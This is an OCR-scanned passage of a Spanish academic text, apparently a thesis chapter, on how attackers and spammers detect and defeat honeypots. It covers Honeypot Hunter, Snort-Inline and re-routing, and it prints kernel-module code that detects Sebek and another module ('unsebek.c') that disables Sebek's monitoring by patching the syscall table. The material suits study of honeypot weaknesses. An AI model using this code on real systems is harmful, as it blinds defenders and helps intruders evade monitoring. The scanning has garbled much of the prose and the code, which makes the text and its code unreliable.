y prozies SOCKS para supuestos Honeypots. Honeypots son prozies falsos ejecutados por la
gente que intenta enviar bultos para utilizar estos prozies falsos para registrar el trafico a
través de ellos v entonces enviar quejas a algunos ISPs.

Se puede asumir seguramente que los usuarios de Send-Safe no son las tinicas personas
afectadas negativamente por los honeypots. La apariencia de esta aplicacién de deteccién de
honeypot implica el escalamiento de tecnologia reactiva.

Se recordardan que herramientas de spam, particularmente, herramientas comerciales
de spam, raramente emplean una tecnologia tnica. Utilizan copias para incrementar su
distribucién es un viejo método de ataque de DoS IRC. Se puede rastrear el usos de
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solicitudes de servidor de e-mail VRFY y regresar un recipiente, utilizarlo para verificar
direcciones de e-mail, esto es la obtencion de informacién de los back hat.

Los métodos de deteccion de Honeypot Hunter son lo que se conoce como comunidad
underground. De hecho, la comunidad probablemente tiene métodos més sofisticados de
deteccion que los que utiliza Honeypot Hunter. El proyecto libre de Honeyd tiene una
instalacion por defecto con mensajes de respuesta fija; el administrador que no cambie los
mensajes por defecto podria sin saberlo proporcionar al wntruso un tnico método para la
identificacién del honeypot. Otros métodos de deteccién como una aplicacién conocida como
error de direccidn, reconocimiento pasivo de sistema operativo, andlisis de secuencia TCP y
direcciones ARP pueden también identificar un honeypot.

4.1.3. Funcionamiento de Honeypot Hunter

Honeypot Hunter esta disenado para probar la conectividad de un prozy abierto.
Dependiendo del tipo de respuesta de conexion, este clasifica al proxy como seguro (bueno),
malo (fallo), o una trampa (honeypot). Honeypot Hunter actualmente prueba el puerto 1080
para Sock4 y Sock5 soporte proxy y otros puertos para HTTP “CONNECT” soporte prozy.

Honeypot Hunter esencialmente realiza una serie de pruebas simples. Primero, abre un
servidor de e-mazl falso en el sistema local (puerto 25) para probar las conexiones prozy v
entonces se conecta al puerto del servidor prozy. Después de conectarse, Honeypot Hunter
intenta regresar la respuesta a su propio servidor de e-mail falso. El acercamiento basico de
conectarse después a si mismo es suficiente para identificar la mayoria de los prozies validos
v honeypots. En particular, si el servidor remoto demanda para estas un éxito de conexion,
pero el servidor falso de e-mail de Honeypot Hunter no recibe conexién, entonces el prozy
es como un honeypot.

4.1.4. Consecuecias en los honeypots

Obviamente, el aspecto de los principales sistemas de deteccién de honeypots ha signifi-
cado ramificaciones para honeypots. Si los usuarios maliciosos pueden detectar los honeypots,
entonces ellos pueden pasar por encima de la detecciéon. Esta capacidad disminuye al mnimo
el valor de la informacién obtenida por que los honeypots traspasados, no podran detectar
ningin tipo de nuevo ataque.

Mads importante, si las personas pueden detectar un honeypot, pueden atacarlo. Tres
aspectos bdsicos existen para atacar a honeypot: comprometer, envenenar y estudiar. Los
investigadores generalmente colocan los honeypots en redes LANS solitarias adyacentes a
enlaces criticos de red. Para comprometer este honeypot, una entidad hostil podria utilizarla
para provocar ataques internos. Alternativamente, la entidad podria utilizar el honeypot
para provocar ataques en otros sistemas a través de internet.
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En vez de comprometer el honeypot un usuario malicioso también podria optar por
inundar el honeypot con informacién falsa. Este envenenamiento efectivamente entierra
cualquier informaciéon valiosa bajo un montén de ruido. Al envenenar el honeypot, otras
actividades hostiles podrian no ser notificadas.

Traspasar impide al honeypot de coleccionar informacién y inundar con informacion
obscura la informacién coleccionada, pero un intruso podria escoger utilizar el honeypot para
prever: para recopilar la informacién. Un honeypot solo proporciona senales de valor sobre
un ntruso para el observador, un intruso que comprometa un honeypot puede aprender
mucho acerca del observador. El o ella podria identificar informacién personal como nombre
de personas, horas de operacién, nivel de habilidad. Un host comprometido podria identificar
la organizacion de una red protegida, articulos que la organizacion considera valiosos y
donde este valor es almacenado. Un sistema honeyd comprometido que emula tinicamente
sistemas windows, por ejemplo, podria sugerir que la compania unicamente utiliza sistemas
windows, un servidor de bases de datos honeypot que emula Oracle podria sugerir que la
organizacion utiliza base de datos Oracle.

4.1.5. Detectando Honeypots

Honeypot Hunter proporciona una cantidad significante de perspicacia dentro del
aprovechamiento de la deteccion del honeypot. Para detectar, un honeypot puede personificar
un prozy completo y permanecer sin ser detectado. Honeypot Hunter tiene muchos aspectos
identificables incluyendo métodos de conexién de red, identificacién de servidor, y pruebas
de formato de e-mail.

Honeynet Hunter genera conexiones por si mismo a través del prozy, del sistema
Honeypot Hunter al prozy y de regreso a si mismo. Un honeypot configurado para permitir
conexiones asi mismo podria parecer viable para la herramienta mientras permanezca sin
detectarse.

El servidor de e-mail falso de Honeypot Hunter se identifica a si mismo como:

©¢220 %s (IMail (.00 153-1) NT-ESMTP Server Xi'®

donde “%s" es remplazado con un hostname. Honeypot Hunter aparenta checar esta
cadena con la respuesta esperada

(““(IMail 8.00 153-1) NT-ESMTP Server X1'')

utilizando esto para detectar los servidores mail Honeypot. Un Honeypot Hunter
bloqueando a un honeypot podria inicializar una conexién completa al prozy v determinar
el tipo de servidor de e-mail. Un servidor con una identificacién diferente podria denotar un
sistema no Honeypot Hunter y no necesitaria entregar el e-mail enviado a través del honeypot.
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Diferentes programas de e-mail generan diferentes encabezados de e-mail. La pruebas
de e-mail de Honeypot Hunter tienen un numero de arreglos de encabezados en un orden
especifico con una capitalizacién especifica. Un honeypot de e-mail que tnicamente pase
mensajes especificos podria no ser detectado por Honeypot Hunter:

From: ¥s

Message-Id: Ysis

Date: Ys

Subjet: s

To: %s

Content-Type:

text/plain;
charset='"iso-8859-1""

Content-Transfer-
Encoding: 7bit

Aunque estas caracteristicas de anti-deteccién podrian trabajar con la versién actual
de Honeypot Hunter, estas no son improbables para ser lo suficientemente generales para
futuros sistemas de deteccion de honeypot. Los sistemas de deteccién de honeypot futuros
probablemente utilizaran técnicas adicionales de deteccion, diferentes pruebas de formatos
e-mail, v una variedad de pruebas de configuraciones de servidor.

4.1.6. Fin de la efervesencia de la tecnologia honeypot

Los sistemas honeypot que utilizan técnicas anti-deteccién serdan como una guia para
sistemas anti-anti-deteccion. El siguiente paso logico para Honeypot Hunter por ejemplo,
podria ser dividir el servidor de e-mail falso del cliente Honeypot Hunter. Este cambio
podria remover las conexiones a si mismo a través del prozy, asi permitiria conexiones del
cliente Honeypot Hunter al proxry a diferentes servidores Honeypot Hunter bajo el control de
usuarios. Removiendo las conexiones asi mismo a través del prozy podria hacer la deteccion
del sistema anti-honeypots més dificil. Ademas, el componente cliente de Honeypot Hunter
podria repetir pruebas a través de prozies abiertos conocidos y esconder la verdadera
direccién IP del sistema de prueba de los usuarios.

En adicién para cambiar esta caracteristica de conexién. Honeypot Hunter podria
cambiar sus cadenas estaticas. El servidor falso de e-mail podria generar una variedad de
respuestas, con lo cual podria hacer la deteccion mas dificil. Ademas, elaborar intentos
anti-deteccion para determinar el tipo actual de sistema al final de la conexion prozy podria
proporcionar los honeypots de todas formas. Finalmente, formatos de encabezado variables
que el sistema Send-Safe proporciona podrian ser adaptados a Honeypot Hunter; en futuras
versiones de la herramienta asi podria generar pruebas de e-mail distintas.

Extendiendo las técnicas anti-honeypot y de deteccién para mejorar los grupos de spam
es otro paso siguiente y logico. Solo es cuestion de tiempo antes de que dichos grupos
comiencen a utilizar sistemas de deteccion de honeypots més extensamente, si es que no lo
estdan haciendo ya. Actualmente existen muchos sitios Web de listas de prozies abiertos,
pronto comenzaran a listar la direcciones /P de Honeypots conocidos.
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Los honeypots parecen tener impacto para prevenir el spam. Desafortunadamente, solo
como spam envuelto al rededor de filtro spam, los spammers estan envolviéndolos a través
de honeypots.

Con la aparicién de sistemas de deteccion de honeypots comerciales, los operadores tiene
que aprender que las soluciones de monitoreo no son ideales; la luna de miel de los honeypots
se acabo y la batalla técnica esta comenzando.

La habilidad emergente para detectar una trampa sugiere que la tecnologia honeypot
actual podria no ser adecuadas por mucho tiempo; la tecnologia honeypot debe crecer
y pronto. Las limitaciones actuales e implementaciones simples los hacen detectables, y
cambiar el sistema podria no ser tan simple como se deseara, un simple cambio en los
honeypots implica un cambio en la herramientas de deteccién también.

4.2. Anti-Honeypot Research Alliance

Las Honeynets y los Honeypots son desarrollados en redes para detectar y monitorear
el mal uso de recursos de computo y redes por individuos no autorizados. El monitoreo
puede ser una implementacion de alta interaccién o honeypots virtuales de baja interaccion.
Los dispositivos desarrollados y los métodos detrds de su desarrollo estan basadosen las
suposiciones y premisas fallidas, finalmente permiten a un determinado adversario la
habilidad de detectar, neutralizar y en algunas circunstancias, explotar los dispositivos
honeypot desarrollados.

La AntiHoney. NET Alliance fue establecida para proporcionar un foro para investi-
gacion dentro de las limitaciones de la tecnologia honeypot y el desarrollo de herramientas
de pruebas de concepto para demostrar las limitaciones de la tecnologia honeypot. Los
resultados de la investigacién son presentados a continuacién, y las fallas en el concepto de
honeypots, los cuales permiten descubrir, explorar y explotar los dispositivos honeypot.

4.2.1. Introduccion

El Proyecto Honeynet describe los honeypots como senuelos estrechamente monitoreando
redes que podrédn proporcionar algunos objetivos para que los wntrusos los exploten. En
general se espera aprender de los métodos de los intrusos y utilizar lo aprendido para
impedir ataques en contra de otras fuentes mas seguras.

En su pura esencia, los honeypots actiian como sistemas de detecciéon de intrusos.
Cualquier actividad en los sistemas honeypots es anormal ya que es un sistema dedicado con
el propdsito de atrapar intrusos. Si un intruso penetra exitosamente el sistema honeypot,
todas las actividades de su interaccién con el sistema, el orden de desarrollo de la explotacién
o las actividades y conductas después de comprometer el honeypot, se podria provocar
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la caida del administrador o la terminacién del sistema con la presencia de actividad
originandose en el sistema honeypot.

En adicién al valor del servicio honeypot como sistema de deteccién de intrusos, los
honeypots también pueden ser utilizados como mecanismos de inteligencia. Para analizar a
los intrusos dentro de un ambiente donde sus acciones sean monitoreadas, los investigadores
de honeypots esperan aprender cémo actian los intrusos, las motivaciones detrds de sus
acciones, quizd capturar algunas de sus herramientas utilizadas durante la explotacion de
sistemas de computo.

Esta ha sido el interés particular de varias agencias de inteligencia las cuales toman
parte en el apoyo a la misién del Proyecto Honeynet, evidenciado por la gran CIA National
Intelligence Council a el Proyecto Honeynet. Otros grupos los cuales tienen un interés
documentado en la inteligencia obtenida por el potencial de la tecnologia honeynet incluyen
ABIN, The Mossad®, CSIS* y w00w005. Adicionalmente, organizaciones tradicionalmente
interesadas en la entrada en vigor de leyes en contra del los criminales ciberneticos, han
estado interesadas en los honeypots como mecanismos de deteccién, monitoreo vy coleccion
de evidencia de crimenes en linea, como algunos avisos del Proyecto Honeynet de sindicatos
criminales utilizando sistemas comprometidos para traficar nimeros de tarjetas de crédito
robados.

Los dispositivos esenciales para realizar estas actividades son Sebek, Snort-Inline y
Honeywall cdrom. Adicionalmente, otras herramientas y métodos, como Honeyd y Honeynet
Farms, contribuyen a esta mision. Se examinaran estos dispositivos en detalle, identificando
como un adversario puede identificar su presencia y resultar en la deteccién de un honeypot.

4.2.2. Fallas de la tecnologia Honeypot

Cualquier proyecto basado en premisas de fallas resultard en un producto no menos
fallidos que sobre las premisas que se baso. Lo que se cree para el caso del Proyecto
Honeynet, y los mecanismos que desarrollan. Como resultado de estos dispositivos fallidos
desarrollados por investigadores de seguridad, potencialmente podrian ocurrir resultados
devastadores y no pretendidos. En el peor de los casos de escenario, el administrador
del honeypot, el cual subscribe a las premisas de los fallos del Proyecto Honeynet, podria
encontrarse a si mismo en una situacion incémoda o de amenazas de muerte si se descubre
que estan ejecutando un honeypot v el honeypot es utilizado por sindicatos de crimen
organizado o paises que conducen actividades con la presuncién de anonimato.

Las premisas fallidas son:

SInstituto  para la Inteligencia y Operaciones Especiales de Israel - The Mossad
http://www.mossad.gov.il/Mohr/MohrTopNav/MohrEnglish/MohrAboutUs/

“Center for Secure Information Systems (CSIS) http://www.isse.gmu.edu/ csis/

5The w00w00 Security Research Group http://www.w00w00.0org/
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= La tecnologia Honeypot puede ser abiertamente compartida y permanecer efectiva.

s La tecnologia Honeypot puede ser desarrollada en ambientes hostiles y permanecer sin
deteccion.

= Si es detectado. Los intrusos podrian no tener como objetivo el Honeypot o sus opera-
ciones sino utilizarlo para exploraciones posteriores en otros sistemas o redes.

La primer premisa es central para los propositos del Proyecto Honeynet. El propoésito
entero del Proyecto Honeynet, como estatuto, es el desarrollo de métodos para monitorear
intrusos y compartir los resultados de estos monitoreos y los métodos con el piiblico de la
comunidad de seguridad. Sin embargo, si un intruso de los que estdn siendo monitoreados,
falsifica informacién hacia los mecanismos de monitoreo, la publicacion del producto
entregado del monitoreo, serd, asi mismo falso y también proporciona al intruse informacién
de como estd siendo monitoreados.

Como se cree que es una falacia la primer premisa, la segunda premisa también se cree
que falla. Asumiendo que un intruso conoce como estdan siendo monitoreados, entonces
también puede asumirse que un determinado intruso podria estudiar los métodos de
operacion de los mecanismos de monitoreo. Cualquier falla en la metodologia de operacion
de los dispositivos, y como estos son disimulados por el intruso bajo condiciones normales
podrian ser entonces cubiertas. Para crear estas condiciones en el ambiente, un intruso
podria probar la presencia o ausencia de mecanismos de monitoreo.

Y finalmente la tercer premisa se cree que es fallida. Si un intruso sabe como monitorear
la presencia de un dispositivo, este es inicamente un pequeno paso siguiente para el intruso
para que vaya y sea capaz de deshabilitar o propagar en el dispositivo con sus propios
disenos. Si el descubrimiento de fallas es como una naturaleza donde el intruso puede
causar arbitrariamente la ejecucién de cédigo, o como un resultado del dispositivo o una
de estas lineas de codigo soportadas, entonces el intruso puede ser capaz de comprometer
los sistemas que mantienen el monitoreo del honeypot y cualquier otro honeypot en el cual
confien los sistemas apoyados.

4.2.3. Detectando y manipulando dispositivos honeypot

Buscar honeypots es un arte por si mismo. El propésito completo del honeypot es
monitorear de modo encubierto las actividades publicas del objetivo, alguien con destreza
téenica y que sea capaz de manipular y solicitar cualquier recurso anexado al honeypot
mismo. Para esta finalidad, la tecnologia honeypot desarrolla espejos cerca del desarrollo de
rootkits, otra tecnologia cuyo proposito es esconder la presencia de un intruso en un sistema
comprometido. En el desarrollo de la tecnologia honeynet se han hecho modificaciones a la
configuracion de los sistemas y las redes para monitorear la actividad, limitando el posible
dano que puedan causar del honeypot, y para ocultar la presencia de las dos actividades
previas.
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La destreza de buscar honeypots es la simplicidad de buscar las diferencias entre un
sistema real y la representacion de un sistema honeypot, sutil como estos pueden ser. Se ve,
el acto de alterar el sistema para ocultar el monitoreo y mecanismos de alerta, por si mismo,
una modificacién en la estructura del sistema que puede y deberd ser encontrado, pero como
se puede aprovechar el problema cuando estas firmas son inevitablemente eliminadas.

Sebek

Tecnologia de monitoreo Honeypot basada en host que esta enfocada a capturar y
almacenar las herramientas utilizadas en el honeypot y la actividad actual en los sistemas.
Tipicamente la estrategia ha sido alterar el shell o cualquier otro software ejecutandose en el
sistema objetivo con comandos para permanentemente almacenar los comandos ejecutados
por los operadores individuales en el sistema. La iltima forma de este tipo de dispositivo de
monitoreo estd basada en modificaciones del kernel. El actual y mds sofisticado dispositivo
de monitoreo honeypot es el médulo de kernel Sebek. En adicién para capturar los comandos
ejecutados, este ha sido escrito con la habilidad de capturar archivos ya que estos son
copiados a través de tuneles encriptados con el comando secure copy (scp).

Los medios actuales para descubrir la presencia de Sebek pueden ser clasificados como
ataques en contra, como sebek intercepta la salida del usuario, y como este oculta estas
comunicaciones con el servidor de recoleccion.

Para ser capaces de coleccionar los comandos ejecutados de los usuarios interactivos en
un sistema monitoreado, (hooks del sistema), sebek llama especificamente para leer la salida.
Como se puede ver, todos los actos del hook dentro de estas llamadas al sistema dejan
una huella que puede ser verificada, y en algunas situaciones, revertida para deshabilitar la
capacidad de monitoreo de sebek.

El backend de las comunicaciones para el servidor utiliza caracteristicas especificas de
comunicacién de paquetes para filtrar hacia fuera las comunicaciones de la vista del usuario
privilegiado en los sistemas supervisados. Se verd que es posible generar trafico con un
dispositivo controlado en cuanto se puede descubrir que los patrones que se repiten estan
siendo filtrados.

Sebek puede ser descargado de:

http://www.honeynet.org/papers/honeynet/tools/.

s Detectando Sebek en Solaris

Solaris fue el segundo sistema operativo soportado por sebek. Para detectar sebek se
debe centrar en la inicializacién de sebek. En la plataforma solaris se hace con el siguiente
codigo:
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----Code Snippet of client/sebek.c in sebeksol-2.04.07---

1 /*

2 * Save the old values.

3 -/

4 old_read = (int64_t (*)()) sysent[SYS_read].sy_callc;

5 #ifdef sparc

6 old_read32 = (int64_t (*)()) sysent32[SYS_read].sy_callc;
7 #endif

8 old_spec_ioctl = spec_vnodeopsp->vop_ioctl;

9 /*

10 » Switch to critical to reduce the risk of races and swap the
11 * function pointers.

12 w/f

13 s = ddi_enter_critical();

14 sysent [SYS_read] .sy_callec = (int64_t(#)())new_read;

15 #ifdef sparc

16 sysent32[SYS_read] .sy_calle = (int64_t(#)())new_read;
17 #endif

18 ddi_exit_critical(s);

----Code Snippet of client/sebek.c in sebeksol-2.04.07---

Primero se vera cémo sebek maneja la tabla de llamadas al sistema sysent32 y la
tabla de llamadas al sistema old_read32. Es obvio que estos cédigos no se han proveido
vigorosamente. Si fueran probados en sistemas de 32 bits y 64 bits, se encontraria que que
no trabajardn en los sistemas Ultra Sparc que funcionan en un kernel de 32 bits (ej. en
sistemas Ultra Sparc con 143 MHz en CPU, donde solaris por defecto se ejecuta en més de
32 bits.)

Note como el médulo del kernel sustituye sy_calle por un puntero de funcién en la linea
a la funcién en sebek en la linea 14 y 16.

Tipicamente, las llamadas al sistema de SYS_read y SYS_write estan cerca una de otra.
Puesto que se puede examinar las tablas sysent (y sysent32), se puede comparar estas
llamadas de dos sistemas entre si.

Por ejemplo, a continuacié se muestra la salida de un archivo modificado de sebek.c que
haga salir las compensaciones de la entradas del sysent[] para SYS.write y de SYS_read.
Note como el valor de SYS_read cambia.

SYS_WRITE : 0x100abfc8
SYS_READ WithOut Sebek: 0x100abci4d
SYS_READ With Sebek : 0x1028951c

Observe ademas las diferencias entre la posicién de la funciones, en el kernel limpio de
SUN. Antes de que se cargue sebek hay que leer la llamada al sistema, la diferencia es 0z34.
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pero en el kernel de sebek la diferencia es 02200000 (excesiva).

El siguiente modulo puede ser utilizado en solaris para probar la presencia de sebek:

ror=Eidre— e ——— Sebek-Find-Solaris.c

Detect Sebek Running on Solaris Systems.
Adapted from the Sebek Solaris kernel module.

Copyright 2003, Phrack Labs

./
#ifdef __GNUC__
#define _SYS_VARARGS_H
#define _VARARGS_H
#include <stdarg.h>
#endif

#include <values.h>
#include <inttypes.h>
#include <sys/types.h>
#include <sys/conf.h>
#include <sys/vnode.h>
#include <sys/file.h>
#include <sys/cred.h>
#include <sys/stream.h>
#include <sys/strsubr.h>
#include <sys/stropts.h>
#include <sys/systm.h>
#include <sys/pathname.h>
#include <sys/exec.h>
#include <sys/thread.h>
#include <sys/modctl.h>
#include <sys/syscall.h>
#include <sys/errno.h>
#include <sys/ddi.h>
#include <sys/sunddi.h>
#include <sys/autoconf.h>
#include <sys/dirent.h>
#include <sys/kmem.h>
#include <sys/mem.h>
#include <sys/bootconf.h>
#include <sys/reboot.h>
#include <sys/vmparam.h>
#include <sys/var.h>
#include <sys/regset.h>
#include <sys/procfs.h>
#include <sys/tihdr.h>
#include <sys/socket.h>
#include <sys/sockio.h>
#include <sys/fs/ufs_inode.h>
#include <sys/fs/snode.h>
#include <sys/proc/prdata.h>
#include <sys/dlpi.h>
#include <sys/corectl.h>
#include <sys/sad.h>

#if SOL_MINVER >= 6

# include <net/if _types.h>
#endif

#include <net/af.h>

#include <net/route.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip6.h>
#include <sys/byteorder.h>
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#include <net/if.h>
#include <inet/common.h>
#include <inet/ip.h>
#include <inet/mib2.h>
#include <inet/tcp.h>

#ifdef __sparcvd
#include <v9/sys/privregs.h>
#endif

#if defined(__sparcv?) || defined(__sparcv8)
#include <v7/sys/privregs.h>
#endif

/* Module description */

static struct modlstrmod modlstrmed = {
4mod_strmodops,
"aha-sebek",
kfsw

F;

static struct modlinkage modlinkage = {
MODREV_1, {(void *) tmodlstrmod, NULL}
}i

i
* Structure of the system-entry table.
«/

extern struct sysent sysent[];

static struct modctl =my_mp = NULL;

int _init(void)

{
unsigned int a;
a = (unsigned long) sysent[SYS_write].sy_callc -
(unsigned long) sysent[SYS_read].sy_callc;
if (a > 0x00002000)
cmn_err (CE_WARN, "NOTICE: Possible HoneyPot Detected.\n");
return (mod_install (émodlinkage));
}
int _fini()
{
return (mod_remove(&modlinkage));
}
int _info(struct modinfo * modinfop)
{
return (mod_info(&modlinkage, medinfop));
¥
=emfBagine mornmm Sebek-Find-Solaris.c---=======mm-mmmmmm e

s Detectanco Sebek en Linux

En Linuz la situacién es practimamente igual. Pero con una ligera modificacién, en
kernels mas recientes la funcién sys_read es un simbolo exportado. ;Por que se exporta 7 el
sebek puede estar incluso danado. Para entender por que se tienen que entender los cambios
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recientes en el kernel de Linuz.

Durante el desarrollo de los kernels de Linux 2.4.z, fue decretado que las sys_call_table
estuvieran exportando simbolos a los mddulos del kernel no tan grandes. Esto pareceria
obstaculizar los médulos tales como sebek que utilizan las sys_cal_table. Sin embargo, cuando
algunos de esos parches fueron portados al 2.4, los proyectos para detectar la sys_call_table
en memoria aparecieron rapidamente.

Algunas llamadas al sistema son necesarias para algunos médulos de funcionalidades del
kernel. Es préactico desde la perspectiva del modulo del kernel poder leer dentro y escribir
archivos durante la carga y operacion. Para hacer esto, uniforme con el sys_call_table no
exportado, los simbolos para algunas llamadas previamente no exportadas del sistema
fueron exportados. entre estos estaban sys_open, el sys_close, el sys_write y el sys_read.

Ahora, saber donde esta el sys_read en memoria es importante, por que esto significa que
si alguno utiliza la misma sys_call_table que apareci6é en escena, combinada con el andlisis
diferencial de indicadores sys_call_table, se podria determinar que la funcion sys_read habia
sido substituida y reparar el kernel de Sebek sustituyendo el valor en el sys_call_table por el
valor original (exportado) de sys_read.

A continuacién esta el cédigo que se publico en la web para quitar facilmente sebek de
los kernel que lo tengan instalados.

--unsebek.c--—-

#define MODULE

#define __KERNEL__
#include <asm/unistd.h>
#include <linux/sys.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <sys/syscall.h>
#include <linux/types.h>

extern int loops_per_jiffy;

int init_module(void)

{

struct module *mod_ptr;
unsigned longg ptr;
unsigned long =*sct;

MODULE_LICENSE("GPL");
lock_kernel();
/* How Gay, hiding the system call table. This block just
finds it.
./
for (ptr = (unsigned long) kloops_per_jiffy;

ptr < (unsigned long) &boot_cpu_data; ptr += sizeof(void «))
{
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unsigned long =p;
p = (unsigned long *)ptr;

if (p[__NR_close] == (unsigned long) sys_close) {
sct = (unsigned long **)p;

break;

}

}

/» Uber 31337 Sebek disabling code begins here. =/
sct[__NR_read] = (unsigned long *) sys_read;
/* Uber 31337 Sebek disabling code ends here. */

unlock_kernel();
return 0

}

int cleanup_medule(void)
{
return 0;

}

----unsebek.c---

Este médulo es seguro de utilizar incluso en los sistemas que no se infectan con sebek.
Todo lo que hace es asignar el mismo valor almacenado en la ranura de NR_read del
sys_call_table de nuevo.

Después de inhabilitar el sebek, no se capturaran comandos ejecutados o transferencias
ssh. Para alguna diversion agregada, se podria extender el médulo para determinar si el
valor de sys_read coincide con el que estd en la tabla sys_call. Una vez que se sepa que sebek
estd presente, uno puede buscar la direccion MAC del sniffer con el que esta funcionando el
sebek remoto y explotar una vulnerabilidad en el software para controlar el host de coleccién
de datos.

4.2.4. Snort-Inline y Re-Enrutamiento Dinamico

El funcionamiento de un honeypot de alta interacciéon puede ser una labor peligrosa. Si
alguien compromete el sistema honeypot y lo utiliza para lanzar ataques masivos en contra de
objetivos de alto perfil, como hittp://www.ebay.com el Administrador de los honeypots podria
ser acusado de negligencia de dejar un sistema sin garantias conectado a la red. Cuestiones
como estas son las que mantienen a los miembros de la Honeynet Alliance con insomnio.
Para cubrir esto y hacer una discusién debida, Snort-in-line es utilizado por la Honeynet
Alliance para limitar el tamano del dano que se pueda causar con un honeypot comprometido.

Snort-Inline se basa en el sistema de deteccién de intrusos Snort. El propésito de
Snort-Inline es supervisar el trafico en curso y responder a este trafico en tiempo real. El
proyecto honeynet utiliza tipicamente esta capacidad responsiva para limitar el namero de
conexiones de salida en un honeypot, o para alterar los paquetes salientes que se detectan
asociados a un ataque que es lanzado del honeypot. Pero estas actividades no son muy
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sutiles y pueden ser detectadas.

Limitacion de conexion

Esta es una de las cosas mds faciles de detectar. En la configuracion que limita la
conexion, cuando un numero de conexiones de Snort-Inline son extablecidas en un periodo
de tiempo y se niegan conexiones de salida al alcanzar un umbral preestablecido.

Para detectar esto, abra simplemente un niimero de conexiones de salida a varios hosts.
Una buena lista de 10-20 sitios web de alto perfil recomendados. Una conexién manual con
una recuperacién basica de la pagina web principal serd suficiente para proporcionar las
conexiones mientras apararece el nivel de red benigno.

Alteraciones de Payload

Incluso si un intruso puede conectarse con otro host, es posible que ese host sea el objeti-
vo con alto perfil que causard que la Home Land Security se vuelque sobre el administrador
de la honeynet como el equipo SWAT de Microsoft sobre los autores de las variantes de
Blaster. Debido a esto, fue desarrollada otra caracteristica de Snort-Inline. Utilizando las
reglas de Snort para detectar ciertas secuencias en tréfico saliente, Snort-Inline modifica
los paquetes de salida que cree que son de naturaleza dafnina de tal manera que los hace

fallar. Un ejemplo es a modificacion de un shell code intentando ejecutar “/bin/bash” como
“ben/sh”.

Los laboratorios Phrack han estudiado esta situacion cuidadosamente. La respuesta que
se encontré se basa realmente sobre unos de los productos desarrollados por el proyecto
Honeynet. Utilizando el servidor honeyd. Los scripts son escritos para simular un servicio
explotable. Sin embargo, en vez de realmente buscar por comandos de servicio, en el punto
donde un payload debe ser entregado, el servidor computard un hash de varias porciones de
payload, y regresard una respuesta basada sobre el resultado del hash.

Comparando el mensaje de vuelta con el benigno que se espera, es posible determinar
si Snort-Inline esta presente y modificar payloads. Si resultan payloads modificados, es
altamente probable que el sistema sospechado sea un honeypot.

Honey Farms

La idea de las Honey Farms es quiza la idea mds comercial que ha salido del proyecto
honeynet. El concepto es que una compania pagaria al operador de una honeypot Farm
por el funcionamiento y mantenimiento de los honeypots para la compania del cliente. Las
direcciones IP dentro de la compania del cliente seran asignadas a la Honeypot Farm, y
el trafico a través de un VPN al Centro de Operaciones de Red de la Honeypot Farm,
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donde el personal estudiard cada movimiento de los intrusos que amenazan la red del cliente.

Re-enrutamiento Dindmico (Bait and Switch)

El problema con los honeypots es que no estian interesados en objetivos en y de ellos
mismos. Probablemente no se encuentre un funcionamiento de honeypot en produccion
como servidor de produccién, a menos que la red de Honeywall de ISS sea observada. y la
idea del proyecto esta basada sobre esto. Baint-n-Switch, trabaja para modificar el flujo de
los paquetes de red dirigidos normalmente a un servidor de produccion sobre el honeypot en
la primera muestra de comportamiento anomalo.

Por ejemplo, si windows update de microsof.com tuviera un Honeywall delante de ellos,
la primera vez que vio una peticién del webdav, este permitiria todo el trafico de nsecure.com
atacando al honeypot.

Esta es una buena idea, afrontar con alto perfil y objetivos de gran valor con los
honeypots, sin embargo la idea es errénea.

El honeypot tendra que ser aislado del sistema de produccién. Se debe asegurar que
el honeypot no sea utilizado como plataforma para lazar ataques o infectar a los sistemas
de producciéon. Esto significa que el honeypot tendra un estado mimico del sistema de
produccién, sin ningun acceso al sistema de produccién més alld que cuando sean pasados
manualmente sincronizados el uno con otro.

Estas diferencias en estado entre una sistema normalmente ocupada de produccion y
(excepto trafico simulado) un honeypot normalmente ocioso proporciona una multiplicidad
de las firmas que se pueden utilizar para identificar y re-enrutar a un honeypot.

Asumiendo que un intruse controla los dos sistemas. El sistema A sera utilizado para el
ataque. El sistema B sera un sistema de control, que hara solamente conexiones (legitimas)
normales al sistema de produccién. Ademads, se asume que el sistema A ha accionado ya
las suspicacias de las identificaciones que controlaban al Honeywall. Por este motivo, deja

de asumir que el sistema de produccién y el honeypot estan funcionando en un servidor
Windows 2000 con ISS.

Si el intruso solo monitorea los IPIDs que viene del honeypot y del servidor de produccion
veria que no corresponden. Ademas, los IPIDs no podria incrementarse para las muestras
tomadas por el sistema A que para el sistema B.

Estas muestras pueden ser tomadas remotamente, y revelar definitivamente que alguien
esta ejecutando algunos juegos de ruteo para las conexiones viniendo del sistema A.
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4.3. Identificacion de Honeypot

Como se vié en el capitulo 2 existen muchos tipos de Honeypots (de alta y baja
interaccién) estos pueden registrar muchas cosas (trampas, deteccién, conteo de spam.
obtencién de informacién, etc.). Muchos de estos honeypots comparten algunos rasgos,
su valor disminuye con la deteccion. Una vez que es detectado, un intruso sabria como
evitar este honeypot o peor aiin comprometerlo, y podria alimentar con informacién falsa al
honeypot. Esta es la razon por la cual en la mayoria de los casos se desea evitar la deteccion
del honeypot. Existen algunas excepciones, por ejemplo en la disuasion. Las organizaciones
pueden querer que sus honeypots sean detectados ya que esto podria disuadir al intrusoe
de sondear sus redes. O aquellos honeypots que tienen como objetivo detener los gusanos,
existe muy poca amenaza por parte de los gusanos que utilicen mecanismos de deteccion
de honeypot pues los gusanos se basan en la explotacién masiva como para ocuparse de los
honeypots.

En la mayoria de los casos se quiere que los honeypots evadan la deteccién. Los honeypots
crecen en uso y se tienen que comenzar a ver herramientas y técnicas liberadas para
encontrarlos o detectarlos. Una de las principales técnicas utilizadas es la herramienta
comercial Honeypot Hunter, utilizado por la industria del spam para detectar honeypots.
Esta es una herramienta liberada con el solo propdsito de identificar a los honeypot de
captura de spam. Otras herramientas han sido liberadas para identificar los honeypots
virtuales, y se han publicado documentos para identificarlos.

. Qué se puede hacer 7, Primero, no importa que tipo de honeypots se este utilizando,
desde el mas sencillo Back Officer Friendly a la més avanzada honeynet, cualquier honeypot
puede eventualmente detectado. Aunque se cuente con un honeypot que nunca sea detec-
tado, si se tiene un adversario con la capacidad necesaria o las herramientas apropiadas
para buscar honeypots, entonces solo sera cuestion de tiempo. Al igual que la mayoria de
otras tecnologias tales como sensores de identificacion, los honeypots estan en una carrera
de armamento. Mientras que se lanzan nuevos honeypots, o aparecen nuevas versiones
actualizadas, los infrusos pueden encontrar métodos de detectarlos y de identificarlos.
Mientras que se desarrollan estos nuevos métodos de deteccién, las medidas contrarias
